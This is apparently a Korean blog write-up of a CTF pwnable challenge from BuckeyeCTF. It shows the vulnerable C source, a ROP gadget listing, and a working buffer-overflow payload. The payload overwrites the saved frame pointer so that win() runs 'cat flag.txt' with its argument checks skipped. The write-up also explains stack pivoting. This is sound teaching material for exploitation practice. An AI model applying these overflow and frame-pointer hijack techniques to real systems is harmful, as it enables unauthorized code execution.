pwnable 2번째 문제이다.
구성은 이전문제랑 비슷하다.
flag.txt에 flag가 있음.
보호기법도 nx와 relro가 끝이고 문제이름만 봐도 bof로 ret주소 조작하는 문제일것같다.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void ignore_me() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
}
void win(int arg0, int arg1, int arg2, int arg3, int arg4, int arg5) {
char* cmd = "cat flag.txt";
if (arg0 == 0xdeadbeef && arg1 == 0xcafebabe && arg2 == 0xbeeeeeef &&
arg3 == 0x13333337 && arg4 == 0x12345678 && arg5 == 0xabcdefed) {
system(cmd);
}
}
void vuln() {
char buf[32];
puts("Please leave a message at the tone: **beep**");
read(0, buf, 32 + 8 + 16);
close(0);
}
int main() {
vuln();
return 0;
}
주어진 소스코드를 보니 main에서 바로 vuln 함수를 호출하고 vuln에서는 32바이트 크기의 배열을 선언하고
요상한 문자열을 출력하고 buf에 56크기의 입력을 받는다.
여기서 bof가 발생하니까 ret 조작해서 win함수를 호출하는것같은데...
win함수를 보니 system("cat flag.txt")로 친절하게 flag를 읽어주긴 하는데
if문의 조건이 deadbeef에 cageababe에 12345678에...괴상한값을 다 충족해야한다.
gdb로 보니
이렇게생김.
Gadgets information
============================================================
0x00000000004010d0 : adc al, byte ptr [rax] ; jmp 0x401060
0x0000000000401067 : add al, 0 ; add byte ptr [rax], al ; jmp 0x401010
0x0000000000401047 : add al, byte ptr [rax] ; add byte ptr [rax], al ; jmp 0x401010
0x0000000000401278 : add al, ch ; ret 0xfffd
0x000000000040118b : add byte ptr [rax], 0 ; add byte ptr [rax], al ; endbr64 ; jmp 0x401110
0x0000000000401103 : add byte ptr [rax], 0 ; add byte ptr [rax], al ; ret
0x0000000000401276 : add byte ptr [rax], al ; add al, ch ; ret 0xfffd
0x000000000040118c : add byte ptr [rax], al ; add byte ptr [rax], al ; endbr64 ; jmp 0x401110
0x0000000000401027 : add byte ptr [rax], al ; add byte ptr [rax], al ; jmp 0x401010
0x000000000040129e : add byte ptr [rax], al ; add byte ptr [rax], al ; pop rbp ; ret
0x0000000000401104 : add byte ptr [rax], al ; add byte ptr [rax], al ; ret
0x000000000040129f : add byte ptr [rax], al ; add byte ptr [rbp - 0x3d], bl ; push rax ; pop rax ; ret
0x0000000000401180 : add byte ptr [rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax] ; ret
0x000000000040118e : add byte ptr [rax], al ; endbr64 ; jmp 0x401110
0x0000000000401029 : add byte ptr [rax], al ; jmp 0x401010
0x00000000004012a0 : add byte ptr [rax], al ; pop rbp ; ret
0x0000000000401024 : add byte ptr [rax], al ; push 0 ; jmp 0x401010
0x0000000000401034 : add byte ptr [rax], al ; push 1 ; jmp 0x401010
0x0000000000401044 : add byte ptr [rax], al ; push 2 ; jmp 0x401010
0x0000000000401054 : add byte ptr [rax], al ; push 3 ; jmp 0x401010
0x0000000000401064 : add byte ptr [rax], al ; push 4 ; jmp 0x401010
0x0000000000401074 : add byte ptr [rax], al ; push 5 ; jmp 0x401010
0x0000000000401106 : add byte ptr [rax], al ; ret
0x00000000004010f8 : add byte ptr [rax], al ; test rax, rax ; je 0x401108 ; jmp rax
0x0000000000401139 : add byte ptr [rax], al ; test rax, rax ; je 0x401148 ; jmp rax
0x0000000000401145 : add byte ptr [rax], r8b ; ret
0x00000000004012a1 : add byte ptr [rbp - 0x3d], bl ; push rax ; pop rax ; ret
0x0000000000401181 : add byte ptr [rcx], al ; pop rbp ; ret
0x000000000040117f : add byte ptr cs:[rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax] ; ret
0x00000000004010f7 : add byte ptr cs:[rax], al ; test rax, rax ; je 0x401108 ; jmp rax
0x0000000000401138 : add byte ptr cs:[rax], al ; test rax, rax ; je 0x401148 ; jmp rax
0x0000000000401037 : add dword ptr [rax], eax ; add byte ptr [rax], al ; jmp 0x401010
0x0000000000401182 : add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax] ; ret
0x0000000000401057 : add eax, dword ptr [rax] ; add byte ptr [rax], al ; jmp 0x401010
0x00000000004011dc : call qword ptr [rax + 0xff3c35d]
0x000000000040124c : call qword ptr [rax + 0xff3c3c9]
0x0000000000401193 : cli ; jmp 0x401110
0x0000000000401190 : endbr64 ; jmp 0x401110
0x0000000000401062 : jb 0x401093 ; add byte ptr [rax], al ; push 4 ; jmp 0x401010
0x00000000004010fd : je 0x401108 ; jmp rax
0x000000000040113e : je 0x401148 ; jmp rax
0x000000000040102b : jmp 0x401010
0x00000000004010d3 : jmp 0x401060
0x0000000000401194 : jmp 0x401110
0x00000000004010ff : jmp rax
0x0000000000401052 : jp 0x401083 ; add byte ptr [rax], al ; push 3 ; jmp 0x401010
0x000000000040124e : leave ; ret
0x0000000000401141 : loopne 0x4011a9 ; nop dword ptr [rax + rax] ; ret
0x000000000040117c : mov byte ptr [rip + 0x2e85], 1 ; pop rbp ; ret
0x0000000000401137 : mov ch, 0x2e ; add byte ptr [rax], al ; test rax, rax ; je 0x401148 ; jmp rax
0x0000000000401032 : mov ch, byte ptr [rdi] ; add byte ptr [rax], al ; push 1 ; jmp 0x401010
0x000000000040129d : mov eax, 0 ; pop rbp ; ret
0x00000000004010cd : mov edi, 0x40128b ; jmp 0x401060
0x00000000004010cc : mov rdi, 0x40128b ; jmp 0x401060
0x000000000040124d : nop ; leave ; ret
0x00000000004011dd : nop ; pop rbp ; ret
0x0000000000401143 : nop dword ptr [rax + rax] ; ret
0x0000000000401101 : nop dword ptr [rax] ; ret
0x0000000000401142 : nop word ptr [rax + rax] ; ret
0x000000000040113f : or bh, bh ; loopne 0x4011a9 ; nop dword ptr [rax + rax] ; ret
0x0000000000401001 : pop rax ; ret
0x0000000000401183 : pop rbp ; ret
0x0000000000401026 : push 0 ; jmp 0x401010
0x0000000000401072 : push 0x2f ; add byte ptr [rax], al ; push 5 ; jmp 0x401010
0x0000000000401036 : push 1 ; jmp 0x401010
0x0000000000401046 : push 2 ; jmp 0x401010
0x0000000000401056 : push 3 ; jmp 0x401010
0x0000000000401066 : push 4 ; jmp 0x401010
0x0000000000401076 : push 5 ; jmp 0x401010
0x0000000000401000 : push rax ; pop rax ; ret
0x0000000000401002 : ret
0x000000000040127a : ret 0xfffd
0x000000000040121a : retf 0x3075
0x00000000004010fb : test eax, eax ; je 0x401108 ; jmp rax
0x000000000040113c : test eax, eax ; je 0x401148 ; jmp rax
0x00000000004010fa : test rax, rax ; je 0x401108 ; jmp rax
0x000000000040113b : test rax, rax ; je 0x401148 ; jmp rax
Unique gadgets found: 77
그런데 가젯도 딱히없어서 저걸어떻게 맞추나..하다가
그냥 if문 너머의 바로
이부분으로 점프하면 되지않을까?
0x401245로 점프하고 pop rax 가젯 0x401001을 이용해 rax에 cat flag의 주소를 넣어주면 될것같았다.
그래서 아래와같이 payload를 작성해서 넣고 gdb로 확인해보니
payload = "A" * 0x20
payload += "B"* 0x8
payload += p64(poprax)
payload += p64(catflag)
payload += p64(win3)
cat flag의 주소 0x402000까지는 들어갔는데 그다음 주소가 짤렸다?
왜인가 싶어서 확인해보니
void vuln() {
char buf[32];
puts("Please leave a message at the tone: **beep**");
read(0, buf, 32 + 8 + 16);
close(0);
}
read는 56만큼만 받는다. payload는 64바이트라서 하나가 짤림...
그래서 입력을 다시받기위해 read로 돌아가거나 vuln함수로 다시 돌리니까 이번엔 입력이 아예안된다.
알고보니
close(0) 얘가 표준입출력 stdin을 닫아버리는 거였음.
그래서 다시열수있는 방법을 찾아봤는데 도저히 안됨.
즉 딱 1번 56바이트의 payload로 익스를 해야한다는건데 56바이트로는 buf + sfp + ret 이후에 딱 8바이트 만큼밖에 넣을수가 없다. 이걸로 뭘 어떻게 할지 한참알아보다가
Stack Pivoting 이라는것을 알게되었다.
함수 에필로그의 leave ret과 leave ret 가젯을 이용해 rbp,rsp값을 조작해서 다른영역을 마치 정상적인 스택처럼 사용하는 기법이다.
leave: mov esp, ebp + pop ebp
ret: pop eip + jmp eip
즉 함수 에필로그의 leave를 통해 sfp에 넣어준 주소가 rbp에 들어가고, 다시 leave ret 가젯으로 점프해서 rbp에 있는 값을 rsp에 넣어주어 스택포인터를 조작하는 것이다.
만약 0x404008을 sfp에 넣어준다면?
첫 leave 에서 rbp에 0x404008이 들어가고
두번쨰 leave 에서 rbp가 rsp에 들어가서
rsp = 0x404008 에서 pop ebp를 해서
rsp = 0x404010 이 되고 rbp에는 0x404008에 있던 값 0 이 들어간 것이다.
근데 이걸 이용하려해도 bss영역에 원하는값을 넣을수가없다. read를 한번밖에 못하기때문...그것도 56바이트..
그래서 또 한참 삽질하다가
win함수의
이부분을 다시보니 rbp-0x8의 값을 rax에 넣어준다.
그동안 sfp는 쓸일이 별로없었어서 잊고있었는데 방금 stack pivoting에서 leave를 다루면서 rbp에는 sfp의 값이 들어간다는걸 깨달았다ㅋㅋ
이제 rbp-0x8이 cat flag주소가 되게 하면 될것같았다.
payload = "A" * 0x20
payload += p64(catflag) # 0x402000
payload += p64(win3) # 0x401241
근데 막상 이렇게 하니까
rax에 0이 들어가서 ?? 하고보니 QWORD PTR rbp-8
즉 rbp -8 주소의 값이 cat flag가 있는 0x402000을 가리키고 있어야 한다.
찾아보니
이렇게 0x400130, 0x400138 두개나 있다.
sfp에 0x400138을 넣어주면 0x400138 - 0x8인 0x400130주소를 참조하여 0x402000을 rax에 넣어줄 것이다.
flag값 출력!!!
'Pwnable > CTF' 카테고리의 다른 글
[BuckeyeCTF] staff Write Up (0) | 2021.11.07 |
---|